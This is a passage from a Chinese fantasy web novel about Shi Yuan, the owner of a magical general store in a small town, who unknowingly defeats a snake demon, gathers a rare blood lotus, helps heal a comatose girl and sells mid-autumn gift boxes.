他松懈下来，自言自语：“只要我小心一点，别掉进冥河就行，等风头过了，我再溜出去，那只臭蜘蛛就再也找不到我了。” 别掉进冥河可不是开玩笑的，要是掉下去了，就再也无法化龙飞升了。要不然，那些个冥河水妖，怎么个个怨气这么重？ 新鳞长不出来，旧鳞又到处都是伤口，常三秋泡在交汇处，被漫上来的冥河水浸得连骨头都在痛。 好冷……好冷…… “今天好凉爽。”龙翻雪一边划船，一边对时愿说，“适合泛舟。” 时愿也赞同，不过她不明白，为什么老师安排下午来观莲，本来荷花就少，这个时间荷花都闭合了。 这片荷塘不负“无尽”二字，小舟划到荷塘深处，一时间只能看到无边无际的荷叶。 时愿采了一些荷花和莲蓬，她发现，学生们对荷花荷叶压根不感兴趣，全都在收集池塘的水和淤泥，还有人用迷你鱼竿钓鱼。 时愿发了一会儿呆，回过神来，绚烂的晚霞已经铺满水面，前方，几只白鹭站在浮在水面的荷叶上，小舟一靠近它们就纷纷飞走了。 时愿拿出手机拍了几张照，悠闲地剥莲子吃。 没欣赏到莲花，好在晚霞够慷慨。 时愿并不知道，暗处，有一双眼睛在仇恨地盯着她。 时愿！常三秋恨得牙痒痒，他过了上千年的滋润日子，碰上她之后才开始倒霉！ 她是一切不幸的源头！ 他泡在冥河水里受苦，她却在小舟上悠闲地吃莲子！ 帮她划船的白毛小鬼是谁，他身上的气息有点熟悉，五官也有点眼熟…… 常三秋苦思冥想，终于想起来了，这个白毛小鬼和之前在杂货铺见过的“龙”很像。 是“龙”的后代？ 常三秋睁大眼睛仔细看，注意到白毛小鬼的后颈上有几片漂亮的白鳞一闪而过。 这是蜕皮后还没完全恢复的症状。 常三秋嫉妒得都要扭曲了，多么幸运的小鬼，可以在老爸打造的温暖窝里安心地蜕皮，还有那么漂亮的白鳞。 常三秋心想，对付不了你爸，我还对付不了你吗？ 马上就到冥河相连的时间了，泡了这么久的冥河水，他可以很好地隐蔽气息，在这里动手，就算那条龙察觉到，也无力回天。这可是千载难逢的机会，此时不复仇，更待何时？ 常三秋隐蔽气息，悄悄跟了上去。 “姐姐，你看那只白鹭，它太胖了，要沉下去了。” 时愿抓拍：“好可爱，可惜没有带相机来。” 他们和其他小舟的距离拉远了，注意力也都在那只大肥鸟身上，就是现在！ 常三秋无声无息地爬上时愿的小舟。 “祝知，找到那只妖了吗？” “没有。”祝知打开地图，在入海处圈了个地方，“它很可能藏进无尽地了。” 胡戏文：“那还犹豫什么，立刻出发！” 祝知指了指周教授给的名单，无尽荷塘被一笔划掉了：“万一无尽地的传说是真的呢？” “怎么可能，要是冥河天天和荷塘相连，桂圩镇不早就成人间地狱了？” “那它为什么要躲在无尽地，为什么我捕捉不到它的气息？” “……”这是个悖论。胡戏文思考片刻：“去看看再说。如果传说是真的，没准儿它知道冥河上浮的具体时间。” 时愿看白鹭看得很开心，突然感觉到一阵恶寒。 突然降温？她去拿包里的外套，和一个黑不溜秋的三角头对上了眼。 蛇！ 时愿的手比脑子还快，抄起桨就把那条大黑蛇掀飞了。 天空不知何时被染成了血色，海水从闸口漫过池塘。 冥河与人间的界限在潮水起伏中变得模糊，要是此时往水下看，可以看到一片没有尽头的深渊。 “扑通！”常三秋飞出两米远，正好掉进冥河里，他拼命挣扎，可是身体像沉重的石头，一沉到底。 龙翻雪：“……”我姐，无敌。 第65章 “我好恨……我好恨……布噜布噜……” 眼睛被冥河水泡得生疼, 逐渐模糊，冰冷的冥河水灌入身体，常三秋再也说不出话，只能吐出一串气泡。 冥河水妖闻到血肉的味道, 游弋过来, 一拥而上, 撕碎了常三秋的肉身。 他阴差阳错地成了这次冥河上浮的活祭，他的肉身被吃干净后，冥河和无尽池塘重新分界，渐渐沉了下去。 晚霞变成梦幻的粉色, 一场危机无声无息地化解了。 有人亲眼见证这场危机的出现和消失。 谷老师和吕老师面面相觑, 都看到了对方眼中的震撼。 他们一直注视着水面, 没有错过蛇妖被吞吃的过程。他们一辈子都没见过这么多的冥河水妖。 “那条蛇，至少是上千年的大妖吧？”谷老师将声音压得极低, 恐惊冥河妖。 吕老师：“是啊, 我们连它什么时候接近的都不知道, 而且，要不是‘献祭’了大妖，那些冥河水妖又怎么愿意离开？” “你们都看到了吧？”不少同学都看到了那一幕, 他们没有老师们的沉稳, 危机一解除就忍不住大声讨论。 徐颖昔的心都快跳出来了：“我看到了, 是姐姐用浆把它掀飞了！” “我也看到了, 非常干脆利落的一下，而且瞄得很准, 不偏不倚把它甩进了河里。” “它连反抗的机会都没有，我什么时候才能拥有这个力量？” “姐姐太飒了！” 小朋友们的目光太热烈，时愿都被看得有点不好意思了。 她回想起来, 也觉得刚才那一下表现得非常急智。三角形的脑袋，那得是一条毒蛇吧。 靠岸之后，得去和荷塘老板说一声，平时得小心一些。 冥河消失的地方，出现了一朵血色的含苞待放的莲花和两片墨绿色的荷叶。 “同学们，那就是冥河血莲。”吕老师一边拍照，一边说，“只有在向冥河献祭大妖后，才有可能出现，现世几分钟就会消失。冥河血莲是极其珍贵的灵植，传说可以重塑筋骨，但非常危险，花瓣颜色越红怨气越重，光是靠近都有可能被带下去，我们赶紧回头吧。” 吕老师离得远，声音又不大，时愿没听清他说什么，只听到了“危险”“回头”什么的，大概是老师觉得荷塘里有蛇很危险，要提前结束活动了吧。 龙翻雪却是听清了，他握紧了浆：“姐姐，我想去采那朵红莲送给我妈，你先跟他们一起回去吧。” 龙翻雪的妈妈最近又去挑战跃龙门了，可惜又失败了，摔了一身伤，他想采冥河血莲回去，减轻妈妈的痛苦。 “我和你一起去啊。”时愿没注意到他紧张的表情，划了划水，很丝滑地让小舟调了个头。 “嗯！谢谢姐姐。”龙翻雪鼓起干劲划船。 小舟穿过人群，吕老师大惊：“翻雪，你干嘛去？” “采莲！” 余光看到时愿游刃有余的姿态，吕老师一句“危险”卡在喉头。 小舟靠近冥河血莲，时愿伸手折下。 学生们爆发出一阵欢呼声。 时愿不知道他们是为她而欢呼，还以为他们又遇到什么好玩的事情了。 青春气息扑面而来，时愿把红莲放到一旁，惬意地舒展手臂。和朝气蓬勃的少年人一起，什么时候看莲花，都是最好的时间。 上岸的时候，学生们和妖局的特勤小队擦肩而过，但都不知道对方的身份，以为对方是普通游客。 特勤队长多看了两眼龙翻雪手里的血莲，龙翻雪保护得很好，没有漏出一点气息，特勤队长很快就收回了目光。 特勤小队把无尽荷塘翻了一遍，没找到常三秋，天已经全黑了，小队长打电话向胡戏文报告，并说出疑点：“这里确有残留的冥河气息。” 夏音的情况很不好，她的灵魂快被榨干了，回到体内后，一直醒不过来，很可能永远沉睡下去。 祝知气愤得锤桌：“有冥河气息，说明传说很可能是真的，冥河确实上浮过，那个王八蛋借冥河掩护，逃脱了！” 胡戏文：“辛苦你们了，回去吧。” 挂了电话，气氛十分低迷。 祝知不甘心：“我现在就飞回去，我亲自去无尽荷塘找线索。” “你先别冲动，这个时间还不一定有航班。” “那我变回原形跑回去。” “你想上明天的头条新闻？”胡戏文拉住她，电话又响了。 这次是下属的电话：“胡主任，刚才，我们收到蓬莱大学的老师的报告，他们带队去无尽荷塘研学，恰好碰到冥河上浮……” 在听到“他们目睹黑蛇妖沉入冥河”的时候，胡戏文直接欢呼出声：“那个时间，躲在无尽池塘的黑蛇妖，还是个大妖，一定是我们在追的那个王八蛋！蓬莱的老师就是给力。” “不是老师做的。”下属纠正，“是愿望杂货铺的老板。” “店主？这太巧了，这会是巧合吗？”胡戏文陷入沉思。 “到底怎么了？”祝知着急得团团转。 胡戏文告知她电话的内容，分析道：“叶幽尘说过，他招生魂的本事，是店主教的。店主又恰好出现在无尽池塘，用蛇妖封住了冥河。你觉得，这是巧合，还是店主早就知道，那个时间冥河会上浮，且犯事的大妖会躲在那里？” “我也不敢下定论。”祝知说，“好吧，我的心里更偏向后者，哪有这么多巧合？” “钟妖事件也是这样……”胡戏文话音一转，“对了，你还记得阮雅芸吧？钟妖事件的受害者，自述吃了店主给的小青菜后痊愈了。” “记得，你的意思是，我们可以去请店主救夏音？”祝知说，“都是灵魂上的损伤，这个办法可行。” 胡戏文：“我去找叶幽尘，他和店主有交情。” “看来我们不谋而合。”叶幽尘推开门，“我来辞别，我会去请店主帮忙。” 店主赠送的豆角帮他排出阴气，应该也能救夏音。 “太好了！”胡戏文拍了拍叶幽尘的肩膀，“交给你了，一路顺风。” 电话再一次响起，胡戏文：“我怎么这么忙……喂？” “胡主任。”特勤小队长说，“我听说蓬莱的老师报告了荷塘的事，想起了一件事，需要向您汇报一下。我们到荷塘的时候，疑似和蓬莱的人擦肩而过，当时我没认出他们，隐约记得有个白色头发的少年手里捧着一株红莲。” “红莲怎么了……红莲？！！”胡戏文声音都破了，“冥河血莲？他们把冥河血莲采了？” 是店主摘的吧，除了她，胡戏文想不出第二个人。 锦鲤面馆。 龙叔将冥河红莲的花瓣碾碎，敷在锦姨的伤口上：“这次多亏了小愿，这几天你在家好好养伤，别再惦记着去上班了。” “用冥河血莲来敷伤口，太奢侈了。”锦姨笑着把脸埋进枕头里，“我已经不痛了。” “生效哪有这么快，我看你是太开心了。” 锦姨：“它可以重塑筋骨，等我脱胎换骨了，再去跃龙门，说不定能成。” 龙叔都不忍心看她的伤口：“你别逞强，好好休养一段时间，再议。” 叶幽尘连夜赶回桂圩镇，早上掐着点去杂货铺，时愿居然提前开店了。 “叶先生，你来得正是时候。”时愿装了一纸袋新鲜采摘的圣女果，“给，第一茬成熟的圣女果，可以做菜，也可以当水果吃。” 听楼嚣说，叶幽尘上次过来，生着病还帮她浇水，平时又这么照顾杂货铺的生意，是该谢谢他。 叶幽尘双手接过纸袋，心中更加笃定，蛇妖事件，店主是知情的。 他怕寄丢，护送这一袋圣女果到了瑰丽市。 夏老爷子看着这一小杯圣女果汁，紧张得手都在抖：“这杯果汁真的能救音音吗？” 看着太普通了，他心里没底。 叶幽尘没有回答，喂昏迷的夏音喝下果汁。 夏家人守在床边，一刻也不敢离开，时间一分一秒过去，夏老爷子感觉手指被拉住了，他抬起苍老的眼睛，看到夏音半睁着眼睛喊他，脸色满是恐惧：“爷爷……有蛇……他要吃我……” “醒了，音音醒了！”夏老爷子老泪纵横，轻拍她的脑袋，安慰道，“不怕，不用怕，那蛇死得透透的，再也不能来找你了。” “真的…吗？”夏音放松下来，眼皮又沉重地合上了，“那我…睡一会儿。” 夏老爷子紧张地望向叶幽尘：“音音怎么又昏过去了？” “放心，她没生命危险了，只是需要多休息。”胡戏文抢答，“最近她应该会频繁醒来，又再次昏睡，她清醒的时候，你们要多陪她说说话，安抚她的情绪，让她放轻松。” 夏妈妈说：“这个灵果还有吗？吃多几次会不会好点？我们出钱买，多少钱都买！” “没有了，其他的还没成熟。”叶幽尘说，“这不是能花钱能买到的，而且，夏小姐没有灵力，吃多了怕承受不住。” “恩人啊。”夏老爷子拉着叶幽尘的手，“你是我们夏家的大恩人，我们一定要报答你，你尽管提要求，我们都一定竭力满足。” 叶幽尘：“老先生，你弄错了，救夏音的是愿望杂货铺的店主。” 夏老爷子：“原来是这样，烦请引见。” 叶幽尘：“店主不在意这些，如果你有心，倒是可以做一件事。” 夏老爷子急道：“请说，我是真心想报恩。” 叶幽尘：“我偶然听店主说过，桂圩镇医疗条件不好，带长辈体检需要去市里，老人家晕车。店主很爱桂圩镇，我们这些人受她照顾，都想帮忙建设小镇。” 宋晚已经在着手准备建医院的事了，要是夏家愿意加入，自然事半功倍。 夏老爷子：“我明白了，请让夏家也出一份力吧。” 老爷子活了这么多年，多精明呐，夏家不仅要报恩，还要赢得店主的青眼！ 叶幽尘：“杂货铺最近和青云山有合作，你们可以订购一些青云山的石榴，灵气含量适中，可以帮夏小姐温养灵魂。” 夏老爷子喜出望外，你看，这福利不就来了吗？ 他紧紧握住叶幽尘的手：“我们要预订，麻烦你帮忙牵线！” 无尽池塘的事，很快就传到了锦绣大学周教授的耳朵里。 周教授想起吴雨的话，哪有这么容易掉进冥河？ 周教授很缺德地笑了：“这蛇妖还真是，天选倒霉蛋！” 瑰丽市，深渊塔。 戴口罩的金发青年用锤子敲掉镇邪阵上的镇魂钉：“在这里招生魂，这个大阵这么多年没维护过，经过这一遭都有缺口了，真是便宜我了。” 金发青年扔掉锤子，将招魂幡插在敲出来的缺口上：“前辈，让我将你释放出来吧。” 大阵的其余七枚钉子同时断裂，地面震动，深渊塔的旧地基塌了下去。金发青年跑过去，看到一副黑棺。 上面没有棺材钉。 他伸出手，棺材板被从里面推开。 一个披散着头发的女人坐了起来，她转头看向金发青年，压住下唇的两颗长牙十分瞩目。 僵尸！ 金发青年万万没想到，深渊塔镇压的竟然是一具僵尸！ 这具僵尸没有马上飞扑过来，还是保留了自我意识的类型！ 金发青年既害怕又兴奋，他伸出手，接住飞过来的招魂幡，单膝跪下：“前辈，是我唤醒了你，请加入我们冥河会吧，不管要多少鲜血都给你弄来！” 女人活动关节，发出咔嚓咔嚓的声音。 阴风拂过，她出现在金发青年身后，一只手横在他的脖子前，黑长的指甲按着他的血管：“唤醒我的并非你，告诉我，是谁？” 僵尸不应该蹦着走吗？啊，思路跑偏了……这指甲一划下去，他说不定也要变成僵尸了。金发青年浑身血液都涌上了脑袋，离开黄泉井后，他的耳目一直跟着叶幽尘，虽说后来被叶幽尘发现并祛除了，他还是获得了很多情报。 比如，愿望杂货铺。 今天，是研学活动的最后一天。 “不是说要给姐姐买面包吗？”秦暮雨说，“有人去了吗？没有的话，我去吧。” 他们都想感谢时愿这几天的照顾，知道她喜欢吃面包，所以决定买一些面包送给她。 同学说：“颖昔去了。” “她没关系吗？”秦暮雨对徐颖昔的倒霉战绩有所耳闻，“她上次去买面包，因为打不到车暴走两公里，去到后看到了搬迁公告，好不容易找到新店，结果还在装修，最后在附近的面包店买到了巨难吃的蛋挞，回学校的路上还迷路了，误入中学生打群架现场，被当成大家的中学生带到派出所，让班主任去捞捞。” 连蛋挞都能做得巨难吃，这么小众的店都能被徐颖昔碰上。 同学：“没事没事，颖昔说在幸运鱼池里看到金鲤了，强力倒霉符化解了，她昨天去泛舟都没掉水里。” 那很有说服力了！ 徐颖昔真的特别感谢时愿，也很崇拜她，特意向面包店的店员打听她的喜好。店员如数家珍，徐颖昔买了一大袋面包。 收到面包，时愿挺不好意思的，还好，她也给学生们准备了礼物，每人一份文具礼袋，有本子有笔，本子的最后一页还盖了她自己做的杂货铺印章，作为纪念。 巴士启动的时候，学生们眼巴巴地看着窗外，不舍地和时愿挥手。 “这几天真的太开心了，好喜欢桂圩镇，好喜欢杂货铺，最喜欢姐姐。” “跟着姐姐见了很多世面，我都不想走了呜呜。” “我悄悄在店里留下了愿望便利贴。” “我也是。” “等百丈竹长高了，变茂盛了，我们还能再来吗？” 这群人终于不能围着姐姐了，龙翻雪心情大好，差点笑出声：“中秋放假，我又可以回来了。” 车里顿时哀嚎一片。 “你做个人吧！” 骂完又觉得不对，龙翻雪本来就不是人啊！ 山海秘境。 “轰——” 狸力大仙打造的高塔训练场再一次被爆破，苏烛驮着一大包宝贝，从十米高空一跃而下，太久没修剪的卷毛被吹向脑后，露出一双带笑的浅茶色眼睛。 狸力大仙庄城用鸡爪子捂住心口，心疼得受不了：“苏烛！让你修炼筑基，不是让你拆塔！” 苏烛稳稳落地，把那包宝贝放到地上。师父们说了，只要能带出来，这些宝贝就送他当聘礼。 他脸上身上都是伤口，因为频繁受重伤，又有龙骨加持，他的身体已经进化了恐怖的自愈能力，没一会儿功夫，这些伤口就止住了血，小伤口连疤痕都消失了。 苏烛：“庄城师尊，我有在用心修炼，已经顺利筑基了。” “还真是。”庄城没那么肉痛了，边修复训练塔边道，“你这个速度，在凡人修士当中，算是天赋异禀了。” 扫到他胸口上被妖兽抓出来的深深爪痕，庄城更是说不出挑剔的话了：“你怎么这般拼命？稍微放慢点也无妨吧。” 苏烛清点宝物，记录在册：“人间马上就中秋了，我想回去陪时愿过节。” 庄城：！这臭小子……好会啊！ 身后响起掌声。 其他师父也来了，狐仙娘娘露出姨母笑：“好徒儿，上次我们答应你，下次回家，定让你和心上人牵上手，新容器已经完成了。” 招摇山主摊开手，掌心躺着一只小狗木雕。 苏烛轻笑了声：“用这个话，应该是牵爪吧。” 山主：“你似乎不高兴，换一个？” 苏烛：“不，我不想等了。这个很好，要是能长久陪在她身边，永远做只小狗也很好。” 第66章 和青云山、月饼厂合作推出的中秋礼盒, 包装是时愿亲自设计的，一款淡蓝清雅，一款火红吉利。 老顾客们自发帮忙宣传，每天都有很多新订单, 名声都传到瑰丽市去了, 有一位住在瑰丽市的夏姓顾客, 下了一个大订单，也是用来发员工福利。这位顾客的公司规模很大，时愿吃不下全部订单，商量之后, 接了一部分。 这位大客户是叶幽尘介绍来的, 不得不说, 杂货铺的老顾客们人脉都好广。 为了完成这个大订单，青云山和月饼厂都得加班加点, 忙不过来了, 时愿就在朋友圈发了截单通知：感谢支持, 明年再约！ 愿望杂货铺的中秋礼盒告罄后，更火了。没有买到的顾客们觉得遗憾，把它当成了白月光, 买到的顾客们觉得庆幸, 个个都很高兴, 拿去送礼也很有面子。 到货那天, 时愿通知本地的顾客们来取，即使分批通知, 杂货铺门口还是排了长队。 李婶和排在后面的大耳叔唠嗑：“小愿家的月饼和石榴礼盒老火了，我市里的亲戚都打电话来问，能不能帮忙订呀？我说早就订完了呀, 我想多买一份都买不到呢！” 大耳叔：“我亲戚也问我了，我本来是买来送人的，一听这么难订，我都舍不得送了，留给自家吃，让我家孩子买了那啥大牌子的月饼送人去。” 大耳叔后面的人附和道：“我也是我也是，小愿店里的东西，品质都是有保障的呀，不比大牌子的差。” 顾客们取完礼盒，都要到花园里逛一逛，拍拍照，家里缺日用品的，顺道买了再走。 取货这两天，杂货铺的营业额都翻倍了。 刘玲很喜欢杂货铺的花园，不管杂货铺热闹还是冷清，在花园里走一走，她的内心都能获得平静。她的服装店离这里很近，穿过两个街口就能到，午后店里没人的时候，她都会来这里散散心。 有这种感受的不止她一个，在附近开店的人都很有默契地聚在杂货铺的院子里，在这里摆一会儿龙门阵，去去班味，再活力满满地回去看店。 很神奇，待在这里的时候，拔杂草都能解压。 开茶餐厅的林叔就是其中一员，这会儿拿完中秋礼盒也没急着走，蹲在鱼池旁边看鱼，眼睛都不眨一下。 刘玲：“林叔，你看得好专心啊，这么喜欢锦鲤吗？” “喜欢是喜欢，不过我是在赌运气。”林叔朝她招手，示意她凑近点说话。 刘玲干脆蹲到他旁边：“什么啊，神神秘秘的。” 林叔：“前几天，不是有一群大学生来这边上课吗？他们去我店里吃过一次饭。” “是有这么一回事，他们也去我店里逛了逛。” “我听到他们说，有个走霉运的女生，在杂货铺的鱼池里，看到了两条金色的鲤鱼，像太极一样转着游。”林叔生动地摆了一下手，“接着就转运了！” “你在找那两条金鲤鱼？”刘玲来了兴趣，也仔细搜寻，眼睛酸了都没找到，“没有啊。” “要是这么容易找到，我还在这里蹲着吗？”林叔站起来，哎呦了两声，“腿都麻了。” 刘玲：“可能有缘分才能看见，而且我们现在也没走背字。” “有道理。”林叔说，“但是我觉得，见到金鲤鱼运气会变得更好，我明天再来找。” 路过的大耳叔动了动大耳朵，对他们的话上了心。 幸运鱼池真的有幸运金鲤，他也得多来找一找！ 接下来只需要完成几个大订单，今年的中秋就完美落幕了。工作都安排好了，月珏卸下压力，晚上喝了点酒，给时愿打了个电话，在电话里嗷嗷哭。 “小愿，你都不知道我……我刚回来的时候……夺、夺焦虑呜呜呜……”月珏大着舌头说，“他们都说，现在都没人爱吃月饼了……何况是镇上的一家小月饼厂，我不应该放弃城市里的工作，肯定没前途，会后悔的……我也、我也犹豫过，迷茫过，很多次我都觉得他们说得对，想放弃了……” 时愿安静听她说。 “可是我是闻着月饼味长大的，以前上学的时候，同学们说家里买的是我家的月饼，我都很骄傲呜呜呜……小愿，你明白我的感受吗？” “我明白。”时愿笑着说，“谢谢你每年中秋都给我寄月饼，真的很好吃。” 对于月珏来说，自家的月饼，就是乡愁的味道，所以她才毅然决然地回到家乡。 “你不准谢我！”喝醉的人不讲道理，“我才要谢谢你呜呜呜……” 月珏大哭：“我真的好幸福啊！有姐妹带着我发财，我真的超～超幸福的呜呜呜……” 时愿：录音了，明天放给这个小酒疯子听听。 “你到底喝了多少啊。”时愿好笑道，“叔叔阿姨在不在家？” “我妈喝得比我还多呢，不过她好厉害，千杯不醉！”月珏傻笑，“她也高兴，我们全家都好高兴……” 电话那头传来呼呼声，小醉鬼睡着了。 时愿给月珏妈妈发了信息，月珏妈妈果然没喝醉，回消息让时愿放心休息，她这就是照顾小醉鬼。 睡了一觉，月珏起床的时候头痛欲裂，十分后悔：“早知道就不喝这么多了。” 打开手机，看到时愿发来的录音。月珏毫无防备地点开，然后…… “啊啊啊啊太社死了。”月珏羞耻得连脖子都红了。 她给时愿打电话：“开个价吧，我想赎录音。” “不行，我要珍藏。”时愿问，“今天有正事，等你休息好了再谈吧。” “收到收到。” 昨天，周末面包店出了一款栗子酥饼，时愿尝了，味道很惊艳，比市面上的大多数酥饼都好吃，酥皮柔软蓬松，入口即化，馅儿很细腻，香味浓郁，一口气吃两块，一点都不腻，也不噎脖子。 青云山的栗子快成熟了，有了卖核桃的经验，时愿想尝试把栗子加工成产品再卖，利润会更高一些。 短保质期的栗子酥饼就是一个不错的选择。 时愿昨晚就联系了面包店的老板，提出想买栗子酥饼的配方。老板说要白送给她，时愿哪好意思占这么大的便宜，商量后，老板同意她买断配方。 有了配方，也不用费心找点心工厂了，月珏家的工厂就能做。 唯一的顾虑就是，要先做一批试水，看味道怎么样，能不能卖得动，量太少了，工厂不一定接单。 月珏听完时愿的计划和顾虑，大声道：“你这样想我可要生气了！你都快让我家的工厂起死回生了，我怎么可能过河拆桥呢？你这个想法特别好，你都觉得好吃，那配方肯定错不了，一定会大卖！就算你只订十盒，我都给你把味道调整到你满意为止！就算我家的工厂做大做强，以后有了自己的品牌，只要你开口，我永远给你留一条生产线，永远做支撑你的后盾。” …… 在家里休养了一段时间，姜一雯的身体恢复得很快，术后的各种反应都减轻了。 今天是病假的最后一天，她精神好多了，心里一直惦记着梦里红衣青年说的话，决定去愿望杂货铺走一走平步青云路。 她给时愿带了蛋黄酥当谢礼。 “这是我哥和我嫂子做的，他们让我带来给您尝一尝，多亏了您，我才及时醒悟过来。”姜一雯把头发撩到耳后，“我打算离婚了，家人都支持我。” “你肯定深思熟虑过了，可以喝花草茶吗？”时愿表示理解，提了提纸袋，“不赶时间的话，一起吃吧。” “现在可以喝了，我来帮忙泡茶。” 姜一雯带来的蛋黄酥特别好吃，她说有几种口味，时愿吃到的是紫薯馅儿，里面的麻薯夹心很软，咬一口就拉丝。 姜一雯喝着玫瑰花茶，欣赏着阳光中的花园，一身轻松。 她和丈夫是谈了几年恋爱才结婚的，感情算得上不错，婚前，公公婆婆也表现得很亲切很好相处。婚后，各种各样的问题才暴露出来，她天生不喜欢争执，总是能忍就忍，结果在不知不觉间，变成了被煮熟的青蛙。现在她跳出来，再回头看，这几年她不就是在丧偶式养娃么？ 让她下定决心的，除了红衣青年向她展示的另一种肆意飞扬的活法，还有在公婆质问她是不是请了邪门东西时，丈夫躲在房间里偷听的样子。 是时候断舍离了。 这段婚姻就是“不必需、不合适、令人不舒适”的东西。 丈夫总说忙事业，她也有事业。以后他去走他的阳关道，她去走她的青云路。 姜一雯将花茶一饮而尽，迎着阳光，踏上平步青云路。 姜一雯的婆家气氛压抑。 “她说要离婚，孩子归她。我已经求过她很多次了，她不肯回头。”姜一雯的丈夫一夜之间苍老了好几岁，眼睛通红，“爸妈，你们这次真的做得太过分了。” “你怎么能怪我们呢？”他父亲气得脸都涨红了，“谁知道她气性这么大，这么一点小事，就闹离婚！” “你天天加班不着家，孩子都丢给她一个人管，没留住一雯的心啊。”他母亲抹眼泪，“离吧，离了好，她都不知道请了什么邪门的东西，咱们家还是……” “妈！别说了！”男人用力拍桌面，“就是因为你们怀疑这种没影的事，她才那么生气！你们说得这么随便，有没有想过我的感受？我不想和她离婚！” “你不也怀疑了吗！”他父亲指着他的鼻子骂，三个人吵得不可开交。 姜一雯对前夫家的事不再关心，因为她一定不会回头了。 第67章 “齐主任, 墨水买回来了。”吕老师把一大箱墨水放在办公桌上，小心翼翼地捧起箱子上的小盆栽。 “居然买到了这么多！”齐主任大喜过望，立马拆开箱子，取了一瓶墨水出来。拧开瓶盖, 他手一顿, “我先去洗个手！” “齐主任, 不用……”齐主任风风火火地冲出去了，吕老师没能喊住他。 “齐主任这么重视，这是什么墨水？”同事们过来围观。 “宝墨！”齐主任阔步回来，挽起袖子, “入学考核那天, 秦暮雨同学用的那种！我来给大家展示一下。” “齐主任, 这不是……” 没有存在感的吕老师被好奇的同事们挤了出去，没来得及解释。 “啪嗒……”一滩墨水落在齐主任的鞋面上, 溅到围观老师们的裤腿上。 齐主任傻眼了：“我打开的方式不对？” 一位老师提议：“再试一次？” “这不是宝墨！”吕老师挤不进去, 情急之下, 嚎了一嗓子，“别弄得到处都是！” 众人齐刷刷看向他。 齐主任指了指他手里的盆栽：“可是你种了半年都没动静的种子发芽了。” 吕老师在学校里没什么存在感，大家对他最深的印象就是“捧着一盆泥的那个人”。 这盆泥居然发芽了, 齐主任敢肯定, 吕老师是在杂货铺获得了机缘。 齐主任很羡慕, 他本来想亲自带队, 但新学期事务很多，他走不开。 “齐主任, 你知道这是什么灵植吗？” 话题好像有点歪了，齐主任在心里吐槽完，回答：“太幼苗了, 看不出来。” “这是鹿活草，又名天名精。” “中药啊？到处都有的，可以活血化淤。”齐主任明白了，“你没有在愿望杂货铺获得机缘。种了半年，就种出一株普普通通的天名精，你是被朋友耍了吗？” 吕老师：“这是《酉阳杂俎》里面记载的那一种。” “什么？！可以起死回生那一种？” 这可比宝墨还稀罕！对墨水失望的同事们把目光转向小盆栽。 吕老师看出齐主任的疑问，抢在他说话之前说：“我向店主转达了你的意愿，她拿出来的就是这个普通墨水。我随便买的浇水壶，却是难得一见的灵器。齐主任，要是你真的想买宝墨，还是亲自登门吧。再找别人去试探，店主可能会讨厌你，以后再也没机会成为杂货铺的客人。我说完了，我先走了，你们记得把鞋子弄干净再走，别弄得到处都是。” 齐主任被“店主讨厌你”打击到了，表情凝重。 符箓课老师道：“我第一次听吕老师说这么多话，原来他是这种性格。” “弄脏地面是重点吗？” “当然是！”保洁员路过，把他们堵在办公室里，挨个丢清洁术。 桂圩镇研学课，是蓬莱大学最近的热议话题。 第一批体验回来的学生们在校园论坛里分享了过程和攻略，新守枫“种植灵枫”、“秒杀大妖”和“轻取冥河血莲”成了校园新传说。 本来只有一年级和三年级的学生参与此次研学活动，论坛帖子火了之后，二年级和四年级的学生纷纷跟帖、发帖，要求加入。 吕老师种活鹿活草的事传开后，学生们更激动了，一抓住机会就向辅导员提这件事。 不让去我们就要闹了！ 齐主任气得拍桌：我也想去，不能去我也想闹！ 龙翻雪因为“新守枫的弟弟”这个身份，从一年级话题人物升级成了全校话题人物。 去食堂吃个饭都有师兄师姐来和他搭话，目的也是非常明确。 “今天食堂的糖醋排骨非常不错，小师弟你多吃点……中秋能跟你回家吗？你别误会，主要是想见见你姐。” “不一起回去也没关系，我们可以自己坐车去，但你能帮忙说句好话，让你姐姐分享一下种植灵枫的方法吗？” 龙翻雪：“……” 现在去过桂圩镇的学生天天把姐姐挂在嘴边，要是二年级和四年级也掺和进来，姐姐不就成整个蓬莱的姐姐了吗？ 龙翻雪沉默转身，抗拒的态度也非常明显。 “小师弟，别这么小气嘛……” 学生们一定要去，学校怕他们私自行动，惹怒时愿，还是妥协了，让学生们不要着急，学校会安排好研学活动。 学校请龙翻雪帮忙的时候，他没有拒绝，私心不想别人围着姐姐转，分走姐姐的注意力，但是杂货铺生意变好是姐姐所期待的，他不会添乱。 “小愿，这会儿不忙吧？”在农贸市场卖海鲜的珊姨拉着一个青年走进杂货铺，冲时愿露出灿烂的笑容，“这就是我外甥，在海洋大学读研究生！” “你好。”青年笑起来眼睛弯弯的，还有两个深深的酒窝，“我叫海璧夕。珊姨第一次和我提起你的时候，我就决定来见你了。” 现代社会出行很方便了，但他从宿舍走到打车的地方就花了一周时间。还好他可以隐形，一路上才没有被围观。 如果以人类的时间为标准，他规划了很久，花了很长的时间，才来到这里。 珊姨悄悄拍了拍他的手臂，低声道：“说这个干什么。” “你好。”时愿呆了一会儿，想起来了，之前珊姨说要介绍外甥给她认识，被她打岔糊弄过去了。 这件事过去很久了，她以为没下文了，没想到珊姨这么执着。 珊姨热情“推销”：“小愿，你别介意。这孩子老实，不太会说话，但他有个很突出的优点，他家的基因很长寿！” 时愿：“。” 姨，你更不会说话。她男友失踪还没多久呢，就给她介绍长寿的…… 好吧，好像也没毛病。 旁边响起两道嗤笑声，时愿扭头，看到楼嚣和一个长卷发女生站在门口，两人脸上的表情惊人的相似。嘴角要笑不笑，眼神挑剔地打量着海璧夕，透着一股不屑。 楼嚣摆出这副表情，时愿不意外，他经常对不熟的人摆臭脸，大概是迟来的中二期，或者大少爷病，这段时间沉迷摆摊才有所收敛。 但是，这个女生是谁啊？ “看来我来得不是时候。”女生对楼嚣说，“我的提议你考虑一下，再联系。” 她转身欲走，侧脸和记忆中的某一幕重合，时愿站起来：“罗以思？” 罗以思停下脚步，表情没那么从容了：“你还记得我？不对，你居然认出我了？” 罗以思小时候很胖，皮肤偏黑，高中时搬家去了别的城市，她长高了，变瘦了，几乎变了个人。再回来桂圩镇的时候，只要她不说，就没人能认出她。 时愿：“你的五官没什么变化。” 两人是小学同学，初中不在一个学校，偶尔会在镇上碰见。 海璧夕看出来了，这场“相亲”是珊姨擅自作主，时愿不知情，或者没同意。他继续待下去，大概会让时愿尴尬，他不愿意这样，也不希望打扰时愿和同学叙旧。 他对时愿笑了笑：“见到你很开心，我先走了，希望还能有机会见面。要是去连海市旅游，需要帮忙的时候，可以联系我。” 